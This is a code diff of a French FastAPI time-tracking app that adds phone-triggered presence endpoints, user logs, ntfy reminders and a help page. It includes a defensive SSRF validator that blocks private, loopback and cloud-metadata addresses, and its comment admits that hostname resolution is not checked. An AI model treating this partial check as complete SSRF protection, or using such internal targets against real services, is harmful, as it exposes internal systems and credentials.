|
||||
+ (f", visées {fields['arrivee_visee']}→{fields['depart_vise']}" if fields['arrivee_visee'] or fields['depart_vise'] else ""),
|
||||
)
|
||||
return RedirectResponse("/settings?plages_saved=1", status_code=303)
|
||||
|
||||
|
||||
@app.get("/presence/{token}/arrivee")
|
||||
@app.post("/presence/{token}/arrivee")
|
||||
def presence_arrivee(token: str):
|
||||
user_id = find_user_by_token(token)
|
||||
if not user_id:
|
||||
logger.warning("GET /presence/.../arrivee: token inconnu")
|
||||
logger.warning("POST /presence/.../arrivee: token inconnu")
|
||||
return JSONResponse({"error": "invalid token"}, status_code=404)
|
||||
logger.info("présence: arrivée détectée pour %r", user_id)
|
||||
save_presence(user_id, present=True, since=datetime.now().isoformat())
|
||||
append_log(user_id, "presence", "arrivée", "Présence détectée par Tasker")
|
||||
return {"ok": True}
|
||||
|
||||
|
||||
@app.get("/presence/{token}/depart")
|
||||
@app.post("/presence/{token}/depart")
|
||||
def presence_depart(token: str):
|
||||
user_id = find_user_by_token(token)
|
||||
if not user_id:
|
||||
logger.warning("GET /presence/.../depart: token inconnu")
|
||||
logger.warning("POST /presence/.../depart: token inconnu")
|
||||
return JSONResponse({"error": "invalid token"}, status_code=404)
|
||||
logger.info("présence: départ détecté pour %r", user_id)
|
||||
save_presence(user_id, present=False, since=datetime.now().isoformat())
|
||||
append_log(user_id, "presence", "départ", "Départ détecté par Tasker")
|
||||
return {"ok": True}
|
||||
|
||||
|
||||
@app.get("/logs", response_class=HTMLResponse)
|
||||
def logs_page(request: Request):
|
||||
user_id = _get_user(request)
|
||||
if not user_id:
|
||||
return RedirectResponse("/login", status_code=302)
|
||||
|
||||
logs = load_logs(user_id)
|
||||
return templates.TemplateResponse("logs.html", {
|
||||
"request": request,
|
||||
"current_user": user_id,
|
||||
"logs": logs,
|
||||
"filter": request.query_params.get("filter", "all"),
|
||||
})
|
||||
|
||||
|
||||
@app.get("/aide", response_class=HTMLResponse)
|
||||
def aide_page(request: Request):
|
||||
user_id = _get_user(request)
|
||||
if not user_id:
|
||||
return RedirectResponse("/login", status_code=302)
|
||||
return templates.TemplateResponse("aide.html", {
|
||||
"request": request,
|
||||
"current_user": user_id,
|
||||
})
|
||||
|
||||
|
||||
|
||||
@ -1,6 +1,7 @@
|
||||
"""Flat-file storage: JSON files per week for pointages, one file for congés."""
|
||||
import json
|
||||
import secrets
|
||||
from datetime import datetime
|
||||
from pathlib import Path
|
||||
|
||||
from calcul import DEFAULT_PLAGES
|
||||
@ -9,9 +10,11 @@ DATA_DIR = Path("/data")
|
||||
CONFIG_FILE = DATA_DIR / "config.json"
|
||||
|
||||
DEFAULT_CONFIG = {
|
||||
"heures_jour": 7.8, # 7h48 = 39h/semaine
|
||||
"heures_semaine": 39.0, # heures hebdomadaires visées
|
||||
"jours_par_semaine": 5, # jours travaillés dans la semaine — heures_jour en est dérivé
|
||||
"log_level": "DEBUG", # DEBUG, INFO, WARNING ou ERROR
|
||||
"allowed_email_domain": "", # ex: "sdv.fr" — seules ces adresses peuvent se connecter
|
||||
"base_url": "", # ex: "https://pointeuse.sdv.fr" — utilisée pour les liens emails (anti open-redirect via Host header)
|
||||
"mail_from": "", # ex: "no-reply@sdv.fr" — expéditeur des emails de connexion
|
||||
"smtp": {
|
||||
"host": "", # ex: "smtp.sdv.fr"
|
||||
@ -68,8 +71,35 @@ def save_config(cfg: dict):
|
||||
CONFIG_FILE.write_text(json.dumps(cfg, indent=2, ensure_ascii=False))
|
||||
|
||||
|
||||
def load_or_create_secret() -> bytes:
|
||||
"""Charge ou crée la clé secrète utilisée pour signer les cookies de session.
|
||||
|
||||
Persistée hors config pour ne pas être réinitialisée à chaque modification des
|
||||
réglages et rester stable entre les redémarrages.
|
||||
"""
|
||||
secret_file = DATA_DIR / "secret.key"
|
||||
secret_file.parent.mkdir(parents=True, exist_ok=True)
|
||||
if secret_file.exists():
|
||||
try:
|
||||
return bytes.fromhex(secret_file.read_text().strip())
|
||||
except ValueError:
|
||||
pass
|
||||
secret = secrets.token_bytes(32)
|
||||
secret_file.write_text(secret.hex())
|
||||
return secret
|
||||
|
||||
|
||||
def heures_jour_min() -> int:
|
||||
return int(float(load_config().get("heures_jour", 7.8)) * 60)
|
||||
"""Minutes attendues par jour, dérivées d'`heures_semaine` et `jours_par_semaine`.
|
||||
|
||||
Rétrocompat : si `heures_semaine` est absent mais `heures_jour` présent,
|
||||
on utilise l'ancienne clé.
|
||||
"""
|
||||
cfg = load_config()
|
||||
jours = int(cfg.get("jours_par_semaine", 5)) or 5
|
||||
if "heures_semaine" in cfg:
|
||||
return int(float(cfg["heures_semaine"]) * 60 / jours)
|
||||
return int(float(cfg.get("heures_jour", 7.8)) * 60)
|
||||
|
||||
|
||||
# ── Pointages ─────────────────────────────────────────────────────────────────
|
||||
@ -155,11 +185,12 @@ DEFAULT_RAPPEL_FIN_H = 20
|
||||
|
||||
|
||||
def load_notif_config(user_id: str) -> dict:
|
||||
"""Return {"ntfy_topic", "ntfy_server", "rappel_debut_h", "rappel_fin_h", "token"}."""
|
||||
"""Return {ntfy_topic, ntfy_server, ntfy_token, rappel_debut_h, rappel_fin_h, token}."""
|
||||
f = _notif_file(user_id)
|
||||
if f.exists():
|
||||
cfg = json.loads(f.read_text())
|
||||
cfg.setdefault("ntfy_server", DEFAULT_NTFY_SERVER)
|
||||
cfg.setdefault("ntfy_token", "")
|
||||
cfg.setdefault("rappel_debut_h", DEFAULT_RAPPEL_DEBUT_H)
|
||||
cfg.setdefault("rappel_fin_h", DEFAULT_RAPPEL_FIN_H)
|
||||
if cfg.get("token"):
|
||||
@ -167,6 +198,7 @@ def load_notif_config(user_id: str) -> dict:
|
||||
else:
|
||||
cfg = {
|
||||
"ntfy_topic": None, "ntfy_server": DEFAULT_NTFY_SERVER,
|
||||
"ntfy_token": "",
|
||||
"rappel_debut_h": DEFAULT_RAPPEL_DEBUT_H, "rappel_fin_h": DEFAULT_RAPPEL_FIN_H,
|
||||
}
|
||||
cfg["token"] = secrets.token_hex(16)
|
||||
@ -178,10 +210,12 @@ def load_notif_config(user_id: str) -> dict:
|
||||
def save_notif_config(
|
||||
user_id: str, ntfy_topic: str, ntfy_server: str = "",
|
||||
rappel_debut_h: int = DEFAULT_RAPPEL_DEBUT_H, rappel_fin_h: int = DEFAULT_RAPPEL_FIN_H,
|
||||
ntfy_token: str = "",
|
||||
):
|
||||
cfg = load_notif_config(user_id)
|
||||
cfg["ntfy_topic"] = ntfy_topic.strip() or None
|
||||
cfg["ntfy_server"] = ntfy_server.strip().rstrip("/") or DEFAULT_NTFY_SERVER
|
||||
cfg["ntfy_token"] = ntfy_token.strip()
|
||||
cfg["rappel_debut_h"] = rappel_debut_h
|
||||
cfg["rappel_fin_h"] = rappel_fin_h
|
||||
_ensure_user_dirs(user_id)
|
||||
@ -196,6 +230,15 @@ def find_user_by_token(token: str) -> str | None:
|
||||
return None
|
||||
|
||||
|
||||
def regenerate_presence_token(user_id: str) -> str:
|
||||
"""Génère un nouveau token de présence (invalide les URLs Tasker précédentes)."""
|
||||
cfg = load_notif_config(user_id)
|
||||
cfg["token"] = secrets.token_hex(16)
|
||||
_ensure_user_dirs(user_id)
|
||||
_notif_file(user_id).write_text(json.dumps(cfg, indent=2, ensure_ascii=False))
|
||||
return cfg["token"]
|
||||
|
||||
|
||||
def _presence_file(user_id: str) -> Path:
|
||||
return _user_root(user_id) / "presence.json"
|
||||
|
||||
@ -254,3 +297,47 @@ def toggle_conge(date: str, type_conge: str, user_id: str = ""):
|
||||
|
||||
conges.sort(key=lambda c: (c["date"], c["type"]))
|
||||
save_conges(conges, user_id)
|
||||
|
||||
|
||||
# ── Journaux (notifications + présence) ───────────────────────────────────────
|
||||
|
||||
LOG_TYPES = ("notif", "presence", "settings")
|
||||
MAX_LOGS = 500
|
||||
|
||||
|
||||
def _logs_file(user_id: str) -> Path:
|
||||
return _user_root(user_id) / "logs.json"
|
||||
|
||||
|
||||
def append_log(user_id: str, entry_type: str, event: str, message: str = "", ts: str | None = None):
|
||||
"""Ajoute une entrée au journal de l'utilisateur (rotation sur MAX_LOGS)."""
|
||||
assert entry_type in LOG_TYPES, f"type de journal invalide: {entry_type!r}"
|
||||
f = _logs_file(user_id)
|
||||
logs = []
|
||||
if f.exists():
|
||||
try:
|
||||
logs = json.loads(f.read_text())
|
||||
except json.JSONDecodeError:
|
||||
logs = []
|
||||
logs.append({
|
||||
"ts": ts or datetime.now().isoformat(timespec="seconds"),
|
||||
"type": entry_type,
|
||||
"event": event,
|
||||
"message": message,
|
||||
})
|
||||
if len(logs) > MAX_LOGS:
|
||||
logs = logs[-MAX_LOGS:]
|
||||
_ensure_user_dirs(user_id)
|
||||
f.write_text(json.dumps(logs, indent=2, ensure_ascii=False))
|
||||
|
||||
|
||||
def load_logs(user_id: str) -> list[dict]:
|
||||
"""Retourne les entrées du journal, des plus récentes aux plus anciennes."""
|
||||
f = _logs_file(user_id)
|
||||
if not f.exists():
|
||||
return []
|
||||
try:
|
||||
logs = json.loads(f.read_text())
|
||||
except json.JSONDecodeError:
|
||||
return []
|
||||
return list(reversed(logs))
|
||||
|
||||
@ -1,29 +1,84 @@
|
||||
"""Reminders: nag via ntfy when present-but-unpointed or departed-but-not-depointed."""
|
||||
import asyncio
|
||||
import ipaddress
|
||||
import logging
|
||||
import urllib.request
|
||||
from datetime import datetime
|
||||
from urllib.parse import urlsplit
|
||||
|
||||
from models import list_users, load_notif_config, load_presence, load_week_pointages
|
||||
from models import list_users, load_notif_config, load_presence, load_week_pointages, append_log
|
||||
|
||||
logger = logging.getLogger("pointeuse.notifications")
|
||||
|
||||
CHECK_INTERVAL_SECONDS = 300
|
||||
|
||||
|
||||
def send_ntfy(server: str, topic: str, message: str, title: str):
|
||||
def is_safe_ntfy_server(url: str) -> bool:
|
||||
"""Valide qu'une URL ntfy est sûre (pas de SSRF vers le réseau interne/cloud metadata).
|
||||
|
||||
Règles :
|
||||
- Schéma http(s) uniquement
|
||||
- Pas de credentials embarqués dans l'URL
|
||||
- Pas d'IP littérale privée (loopback, link-local, privé, multicast, réservé)
|
||||
→ bloque 127.x, 10.x, 172.16/12, 192.168.x, 169.254.x (metadata AWS/GCP), fc00::/7, ::1…
|
||||
- Pas de hostname localhost
|
||||
"""
|
||||
if not url or not isinstance(url, str):
|
||||
return False
|
||||
try:
|
||||
parts = urlsplit(url.strip())
|
||||
except ValueError:
|
||||
return False
|
||||
if parts.scheme not in ("http", "https"):
|
||||
return False
|
||||
if parts.username or parts.password:
|
||||
return False
|
||||
host = parts.hostname
|
||||
if not host:
|
||||
return False
|
||||
host = host.lower().rstrip(".")
|
||||
if host in ("localhost",):
|
||||
return False
|
||||
# IP littérale ?
|
||||
try:
|
||||
ip = ipaddress.ip_address(host)
|
||||
except ValueError:
|
||||
# hostname : on accepte (la résolution DNS n'est pas vérifiée ici, mais on a déjà
|
||||
# éliminé les IP littérales dangereuses, ce qui ferme le cas le plus exploité).
|
||||
return True
|
||||
if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_multicast or ip.is_reserved or ip.is_unspecified:
|
||||
return False
|
||||
return True
|
||||
|
||||
|
||||
def send_ntfy(server: str, topic: str, message: str, title: str, user_id: str | None = None, token: str = "") -> bool:
|
||||
if not is_safe_ntfy_server(server):
|
||||
logger.warning("ntfy serveur refusé (SSRF): server=%r topic=%r title=%r", server, topic, title)
|
||||
if user_id:
|
||||
append_log(user_id, "notif", "échec",
|
||||
f"{title} — {message} (serveur interdit: {server})")
|
||||
return False
|
||||
headers = {"Title": title.encode("utf-8"), "Priority": "high"}
|
||||
if token:
|
||||
headers["Authorization"] = f"Bearer {token}"
|
||||
req = urllib.request.Request(
|
||||
f"{server}/{topic}",
|
||||
data=message.encode("utf-8"),
|
||||
headers={"Title": title.encode("utf-8"), "Priority": "high"},
|
||||
headers=headers,
|
||||
method="POST",
|
||||
)
|
||||
try:
|
||||
urllib.request.urlopen(req, timeout=10).close()
|
||||
logger.info("notif ntfy envoyée: server=%r topic=%r title=%r", server, topic, title)
|
||||
if user_id:
|
||||
append_log(user_id, "notif", "envoyée", f"{title} — {message}")
|
||||
return True
|
||||
except Exception:
|
||||
logger.exception("échec de l'envoi ntfy: server=%r topic=%r title=%r", server, topic, title)
|
||||
if user_id:
|
||||
append_log(user_id, "notif", "échec", f"{title} — {message}")
|
||||
# best-effort: a missed reminder isn't worth crashing the loop
|
||||
return False
|
||||
|
||||
|
||||
def _todays_pointage(user_id: str, today: datetime) -> dict:
|
||||
@ -37,6 +92,7 @@ async def check_user(user_id: str, now: datetime):
|
||||
notif = load_notif_config(user_id)
|
||||
topic = notif.get("ntfy_topic")
|
||||
server = notif.get("ntfy_server", "https://ntfy.sh")
|
||||
token = notif.get("ntfy_token", "")
|
||||
debut_h = notif.get("rappel_debut_h", 7)
|
||||
fin_h = notif.get("rappel_fin_h", 20)
|
||||
if not topic:
|
||||
@ -55,10 +111,18 @@ async def check_user(user_id: str, now: datetime):
|
||||
|
||||
if presence.get("present") and not jour.get("matin_entree"):
|
||||
logger.info("rappel 'pense à pointer' pour %r", user_id)
|
||||
await asyncio.to_thread(send_ntfy, server, topic, "Tu es dans les locaux mais pas encore pointé ce matin.", "⏰ Pense à pointer")
|
||||
await asyncio.to_thread(
|
||||
send_ntfy, server, topic,
|
||||
"Tu es dans les locaux mais pas encore pointé ce matin.",
|
||||
"⏰ Pense à pointer", user_id, token,
|
||||
)
|
||||
elif not presence.get("present") and jour.get("matin_entree") and not jour.get("aprem_sortie"):
|
||||
logger.info("rappel 'pense à dépointer' pour %r", user_id)
|
||||
await asyncio.to_thread(send_ntfy, server, topic, "Tu as quitté les locaux sans dépointer la sortie.", "⏰ Pense à dépointer")
|
||||
await asyncio.to_thread(
|
||||
send_ntfy, server, topic,
|
||||
"Tu as quitté les locaux sans dépointer la sortie.",
|
||||
"⏰ Pense à dépointer", user_id, token,
|
||||
)
|
||||
|
||||
|
||||
async def reminder_loop():
|
||||
|
||||
@ -2,7 +2,9 @@
|
||||
import statistics as _st
|
||||
from datetime import datetime, timedelta, date as _date
|
||||
|
||||
from models import load_week_pointages, load_conges, list_all_weeks, load_config, load_plages
|
||||
from models import (
|
||||
load_week_pointages, load_conges, list_all_weeks, load_plages, heures_jour_min,
|
||||
)
|
||||
from calcul import hhmm_to_minutes, minutes_to_hhmm, heures_travaillees, heures_dues
|
||||
|
||||
MOIS_FR = [
|
||||
@ -58,8 +60,7 @@ def _compliance_over(all_days: list[tuple], cg_set: set, plages: dict) -> dict:
|
||||
def compute_all_stats(user_id: str = "") -> dict:
|
||||
all_weeks = sorted(list_all_weeks(user_id))
|
||||
conges = load_conges(user_id)
|
||||
cfg = load_config()
|
||||
h_jour = int(float(cfg.get("heures_jour", 7.8)) * 60)
|
||||
h_jour = heures_jour_min()
|
||||
plages = load_plages(user_id)
|
||||
cg_set = {(c["date"], c["type"]) for c in conges}
|
||||
|
||||
|
||||
@ -18,10 +18,10 @@
|
||||
<td class="c-matin">
|
||||
<div id="cg-matin-{{ j.date }}" class="td-fill{% if matin_cg %} cg{% elif matin_warn %} warn{% endif %}">
|
||||
<div class="time-pair">
|
||||
<input class="time-input" type="time" name="matin_entree"
|
||||
<input class="time-input" type="text" name="matin_entree" inputmode="numeric" pattern="[0-9]{2}:[0-9]{2}" maxlength="5" placeholder="--:--"
|
||||
data-date="{{ j.date }}" value="{{ j.matin_entree or '' }}">
|
||||
<span class="time-sep">→</span>
|
||||
<input class="time-input" type="time" name="matin_sortie"
|
||||
<input class="time-input" type="text" name="matin_sortie" inputmode="numeric" pattern="[0-9]{2}:[0-9]{2}" maxlength="5" placeholder="--:--"
|
||||
data-date="{{ j.date }}" value="{{ j.matin_sortie or '' }}">
|
||||
</div>
|
||||
</div>
|
||||
@ -30,10 +30,10 @@
|
||||
<td class="c-aprem">
|
||||
<div id="cg-aprem-{{ j.date }}" class="td-fill{% if aprem_cg %} cg{% elif aprem_warn %} warn{% endif %}">
|
||||
<div class="time-pair">
|
||||
<input class="time-input" type="time" name="aprem_entree"
|
||||
<input class="time-input" type="text" name="aprem_entree" inputmode="numeric" pattern="[0-9]{2}:[0-9]{2}" maxlength="5" placeholder="--:--"
|
||||
data-date="{{ j.date }}" value="{{ j.aprem_entree or '' }}">
|
||||
<span class="time-sep">→</span>
|
||||
<input class="time-input" type="time" name="aprem_sortie"
|
||||
<input class="time-input" type="text" name="aprem_sortie" inputmode="numeric" pattern="[0-9]{2}:[0-9]{2}" maxlength="5" placeholder="--:--"
|
||||
data-date="{{ j.date }}" value="{{ j.aprem_sortie or '' }}">
|
||||
</div>
|
||||
</div>
|
||||
@ -70,9 +70,9 @@
|
||||
<td class="col-cible">
|
||||
<span id="calc-{{ j.date }}-cible">
|
||||
{%- if j.cible_matin or j.cible_aprem -%}
|
||||
{%- if j.cible_matin -%}<span class="cible-num">M {{ j.cible_matin }}</span>{%- endif -%}
|
||||
{%- if j.cible_matin -%}<span class="cible-num">M {{ j.cible_matin_entree }} → {{ j.cible_matin }}</span>{%- endif -%}
|
||||
{%- if j.cible_matin and j.cible_aprem %} {% endif -%}
|
||||
{%- if j.cible_aprem -%}<span class="cible-num">A {{ j.cible_aprem }}</span>{%- endif -%}
|
||||
{%- if j.cible_aprem -%}<span class="cible-num">A {{ j.cible_aprem_entree }} → {{ j.cible_aprem }}</span>{%- endif -%}
|
||||
{%- else -%}
|
||||
<span class="delta-zero">—</span>
|
||||
{%- endif %}
|
||||
|
||||
@ -4,6 +4,10 @@
|
||||
<div class="solde-eyebrow">Travaillé</div>
|
||||
<div class="solde-num neutral">{{ result.total_travaille }}</div>
|
||||
</div>
|
||||
<div class="solde-item">
|
||||
<div class="solde-eyebrow">Dû par jour</div>
|
||||
<div class="solde-num neutral">{{ result.heures_jour }}</div>
|
||||
</div>
|
||||
<div class="solde-item">
|
||||
<div class="solde-eyebrow">Dû cette semaine</div>
|
||||
<div class="solde-num neutral">{{ result.total_du }}</div>
|
||||
|
||||
229
app/templates/aide.html
Normal file
229
app/templates/aide.html
Normal file
@ -0,0 +1,229 @@
|
||||
{% extends "base.html" %}
|
||||
{% block content %}
|
||||
<div class="stats-head">
|
||||
<div>
|
||||
<span class="stats-title">Aide</span>
|
||||
<div class="stats-meta">Configurer les notifications ntfy et la détection de présence (Automation)</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="settings-card">
|
||||
<span class="hist-label">Principe</span>
|
||||
<p class="settings-p">
|
||||
L'app peut te relancer automatiquement si tu es détecté présent au bureau sans avoir pointé
|
||||
le matin, ou parti sans avoir pointé la sortie. Ça repose sur deux briques :
|
||||
</p>
|
||||
<ul class="aide-list">
|
||||
<li>
|
||||
<b>Réception des notifications</b> : <a href="https://ntfy.sh" target="_blank" rel="noopener">ntfy</a>,
|
||||
un service gratuit de notifications push par topic.
|
||||
</li>
|
||||
<li>
|
||||
<b>Détection de présence</b> : ton téléphone appelle une URL de l'app quand il entre/sort
|
||||
du bureau. L'app fait le reste (vérifie toutes les 5 min, dans la plage horaire réglée
|
||||
sur <a href="/settings">/settings</a>, en semaine, si un pointage manque).
|
||||
</li>
|
||||
</ul>
|
||||
<p class="settings-p">
|
||||
Avant de commencer : va sur <a href="/settings">/settings</a>, choisis un nom de topic ntfy
|
||||
secret (ex: <code>prenom-pointeuse-a1b2</code>, pas devinable), enregistre-le. La page affiche
|
||||
ensuite tes deux URLs personnelles <b>Arrivée</b> et <b>Départ</b> — elles contiennent un token
|
||||
secret, ne les partage pas.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<div class="settings-card">
|
||||
<span class="hist-label">1. Recevoir les notifications (ntfy)</span>
|
||||
<p class="settings-p">
|
||||
Installer l'app <b>ntfy</b> sur le téléphone, puis s'abonner au topic choisi dans /settings.
|
||||
</p>
|
||||
<ol class="aide-steps">
|
||||
<li>
|
||||
Installe l'app <b>ntfy</b> depuis le
|
||||
<a href="https://play.google.com/store/apps/details?id=io.heckel.ntfy" target="_blank" rel="noopener">Play Store</a>
|
||||
ou <a href="https://f-droid.org/en/packages/io.heckel.ntfy/" target="_blank" rel="noopener">F-Droid</a>.
|
||||
</li>
|
||||
<li>
|
||||
Ouvre l'app, bouton <b>+</b> → entre le nom de topic choisi sur
|
||||
<a href="/settings">/settings</a> → valide. Laisse le serveur par défaut (<code>ntfy.sh</code>).
|
||||
</li>
|
||||
<li>
|
||||
Teste l'envoi depuis un navigateur : ouvre
|
||||
<code>https://ntfy.sh/<ton-topic></code> et publie un message. La notif doit
|
||||
arriver sur le téléphone en quelques secondes.
|
||||
</li>
|
||||
<li>
|
||||
<b>Important</b> : sur Android, désactive l'optimisation de la batterie pour ntfy
|
||||
(Réglages → Applications → ntfy → Batterie → "Aucune restriction"). Sinon Android
|
||||
peut couper les notifications en arrière-plan.
|
||||
</li>
|
||||
<li>
|
||||
<b>Serveur protégé par jeton</b> : si ton instance ntfy renvoie <code>403 Forbidden</code>,
|
||||
elle exige un jeton d'accès. Crée-le sur le serveur (panneau d'admin ntfy, onglet
|
||||
"Access tokens"), puis colle-le dans le champ <b>Jeton d'accès</b> sur
|
||||
<a href="/settings">/settings</a>. Il est envoyé comme
|
||||
<code>Authorization: Bearer ...</code> à chaque publication.
|
||||
</li>
|
||||
</ol>
|
||||
<p class="settings-hint">
|
||||
Astuce : si tu veux ton propre serveur ntfy (auto-hébergé, pour éviter le topic public),
|
||||
installe-le (<a href="https://docs.ntfy.sh/install/" target="_blank" rel="noopener">doc officielle</a>)
|
||||
et renseigne son URL dans le champ <b>Serveur ntfy</b> sur /settings.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<div class="settings-card">
|
||||
<span class="hist-label">2. Détecter la présence (Automation)</span>
|
||||
<p class="settings-p">
|
||||
Créer une automatisation <a href="https://f-droid.org/en/packages/com.jens.automation2/" target="_blank" rel="noopener">Automation</a>
|
||||
(app FOSS, F-Droid) déclenchée par le Wi-Fi du bureau ou par une géofence :
|
||||
à l'entrée, appeler l'URL « Arrivée » ; à la sortie, l'URL « Départ ».
|
||||
</p>
|
||||
<ol class="aide-steps">
|
||||
<li>
|
||||
Installe <a href="https://f-droid.org/en/packages/com.jens.automation2/" target="_blank" rel="noopener">Automation</a>
|
||||
depuis F-Droid (évite la version Play Store, amputée de la localisation).
|
||||
</li>
|
||||
<li>
|
||||
Autorise la <b>localisation en arrière-plan</b> : Réglages → Applications →
|
||||
Automation → Autorisations → Position → <b>Toujours</b>. Sans ça, Android
|
||||
coupe la détection quand l'app n'est pas au premier plan.
|
||||
</li>
|
||||
<li>
|
||||
Désactive l'<b>optimisation batterie</b> pour Automation (même menu →
|
||||
Batterie → « Aucune restriction »).
|
||||
</li>
|
||||
<li>
|
||||
Crée la règle <b>Arrivée bureau</b> — Automation → <b>Rules</b> → <b>+</b> :
|
||||
<ul class="aide-substeps">
|
||||
<li><b>Trigger</b> : <b>Wifi connection</b> → entre le SSID du Wi-Fi du bureau (méthode recommandée),
|
||||
<i>ou</i> <b>Location</b> → adresse du bureau, rayon ~100–150 m, événement <b>Enter</b> (géofence).</li>
|
||||
<li><b>Action</b> : <b>Trigger URL</b>, method <code>POST</code>,
|
||||
URL = ton lien <b>Arrivée</b> copié depuis <a href="/settings">/settings</a>.</li>
|
||||
</ul>
|
||||
</li>
|
||||
<li>
|
||||
Crée la règle symétrique <b>Sortie bureau</b> : même SSID en sens <b>déconnexion</b>
|
||||
(ou même géofence, événement <b>Exit</b>), action <b>Trigger URL</b> <code>POST</code>
|
||||
vers ton lien <b>Départ</b>.
|
||||
</li>
|
||||
</ol>
|
||||
<p class="settings-hint">
|
||||
Au bureau, la méthode Wi-Fi est généralement plus réactive et plus économe en
|
||||
batterie que la géofence GPS.
|
||||
</p>
|
||||
<p class="settings-hint">
|
||||
Si tu changes de téléphone ou réinstalles, les tokens restent valides — il suffit de
|
||||
recréer les règles Automation et l'abonnement ntfy.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<div class="settings-card">
|
||||
<span class="hist-label">3. Vérifier</span>
|
||||
<ol class="aide-steps">
|
||||
<li>
|
||||
Force une entrée/sortie de zone ou de Wi-Fi (ou, dans Automation, ouvre une règle
|
||||
et utilise le bouton « Test », icône lecture). La réponse doit être <code>{"ok":true}</code>.
|
||||
</li>
|
||||
<li>
|
||||
Va sur <a href="/logs">/logs</a> : tu dois voir une entrée "Présence / arrivée" ou
|
||||
"Présence / départ" correspondante.
|
||||
</li>
|
||||
<li>
|
||||
Simule une journée sans pointage matin pendant que tu es marqué "présent" : une notif
|
||||
ntfy doit arriver dans les 5 minutes. Elle apparaîtra aussi dans
|
||||
<a href="/logs">/logs</a> sous "Notification / envoyée".
|
||||
</li>
|
||||
</ol>
|
||||
</div>
|
||||
|
||||
<div class="settings-card">
|
||||
<span class="hist-label">Dépannage</span>
|
||||
<ul class="aide-list">
|
||||
<li>
|
||||
<b>Pas de notif ntfy</b> : vérifie l'optimisation batterie sur l'app ntfy, et que le topic
|
||||
est bien le même côté serveur et côté téléphone (sensible à la casse).
|
||||
</li>
|
||||
<li>
|
||||
<b>Pas de déclenchement Automation</b> : dans Automation, vérifie que la règle est
|
||||
bien activée et utilise le bouton « Test » pour isoler le problème (réseau vs
|
||||
géoloc vs Wi-Fi). Vérifie aussi que l'optimisation batterie est bien désactivée
|
||||
pour l'app.
|
||||
</li>
|
||||
<li>
|
||||
<b>Logs vides sur /logs</b> : les entrées ne s'écrivent que quand un événement réel se
|
||||
produit (notif envoyée/échouée, arrivée/départ détecté). Force un test (étape 3).
|
||||
</li>
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
<style>
|
||||
.aide-list {
|
||||
margin: .4rem 0 .4rem 1.2rem;
|
||||
padding: 0;
|
||||
font-size: 13px;
|
||||
line-height: 1.65;
|
||||
color: var(--text);
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: .35rem;
|
||||
list-style: disc;
|
||||
}
|
||||
.aide-list li::marker { color: var(--muted); }
|
||||
.aide-list a, .aide-steps a { color: var(--accent); }
|
||||
.aide-list code, .aide-steps code, .aide-substeps code {
|
||||
font-family: var(--mono);
|
||||
font-size: 12px;
|
||||
background: var(--ground);
|
||||
border: 1px solid var(--rule);
|
||||
padding: .05rem .3rem;
|
||||
}
|
||||
.aide-steps {
|
||||
counter-reset: step;
|
||||
margin: .5rem 0 .4rem;
|
||||
padding: 0;
|
||||
font-size: 13px;
|
||||
line-height: 1.65;
|
||||
color: var(--text);
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: .55rem;
|
||||
list-style: none;
|
||||
}
|
||||
.aide-steps > li {
|
||||
position: relative;
|
||||
padding-left: 2rem;
|
||||
}
|
||||
.aide-steps > li::before {
|
||||
counter-increment: step;
|
||||
content: counter(step);
|
||||
position: absolute;
|
||||
left: 0;
|
||||
top: .05rem;
|
||||
width: 1.4rem;
|
||||
height: 1.4rem;
|
||||
border-radius: 50%;
|
||||
background: var(--accent);
|
||||
color: #fff;
|
||||
font-family: var(--mono);
|
||||
font-size: 10px;
|
||||
font-weight: 500;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
}
|
||||
.aide-substeps {
|
||||
margin: .35rem 0 .1rem 1.2rem;
|
||||
padding: 0;
|
||||
font-size: 12px;
|
||||
color: var(--muted);
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: .2rem;
|
||||
list-style: disc;
|
||||
}
|
||||
.aide-substeps li::marker { color: var(--rule); }
|
||||
.settings-card .settings-p { margin: 0; }
|
||||
.settings-card .settings-hint { margin-top: .5rem; }
|
||||
</style>
|
||||
{% endblock %}
|
||||
@ -144,7 +144,7 @@
|
||||
/* ── Soldes ── */
|
||||
.soldes {
|
||||
display: grid;
|
||||
grid-template-columns: repeat(3, 1fr);
|
||||
grid-template-columns: repeat(4, 1fr);
|
||||
border: 1.5px solid var(--rule);
|
||||
background: var(--surface);
|
||||
}
|
||||
@ -166,7 +166,7 @@
|
||||
}
|
||||
.solde-num {
|
||||
font-family: var(--mono);
|
||||
font-size: 1.9rem;
|
||||
font-size: 1.5rem;
|
||||
font-weight: 500;
|
||||
letter-spacing: -.03em;
|
||||
line-height: 1;
|
||||
@ -188,6 +188,7 @@
|
||||
/* ── Table ── */
|
||||
.table-section { overflow-x: auto; -webkit-overflow-scrolling: touch; }
|
||||
table {
|
||||
width: 100%;
|
||||
border-collapse: collapse;
|
||||
border: 1.5px solid var(--rule);
|
||||
background: var(--surface);
|
||||
@ -195,7 +196,7 @@
|
||||
}
|
||||
|
||||
.th-group th {
|
||||
padding: .45rem .85rem .25rem;
|
||||
padding: .45rem .65rem .25rem;
|
||||
font-family: var(--mono);
|
||||
font-size: 9px;
|
||||
letter-spacing: .12em;
|
||||
@ -222,7 +223,7 @@
|
||||
.th-group .g-conge { text-align: center; }
|
||||
|
||||
.th-sub th {
|
||||
padding: .25rem .85rem .5rem;
|
||||
padding: .25rem .65rem .5rem;
|
||||
font-size: 10px;
|
||||
color: rgba(107,97,82,.65);
|
||||
border-bottom: 2px solid var(--text);
|
||||
@ -258,7 +259,7 @@
|
||||
tbody tr:not(:last-child) td { border-bottom: 1px solid var(--rule-l); }
|
||||
|
||||
td {
|
||||
padding: .6rem .85rem;
|
||||
padding: .5rem .65rem;
|
||||
vertical-align: middle;
|
||||
}
|
||||
|
||||
@ -267,7 +268,7 @@
|
||||
.td-fill {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
padding: .6rem .85rem;
|
||||
padding: .5rem .65rem;
|
||||
}
|
||||
td.c-matin .td-fill { border-left: 3px solid rgba(47,95,160,.2); }
|
||||
td.c-aprem .td-fill { border-left: 3px solid rgba(184,106,8,.2); }
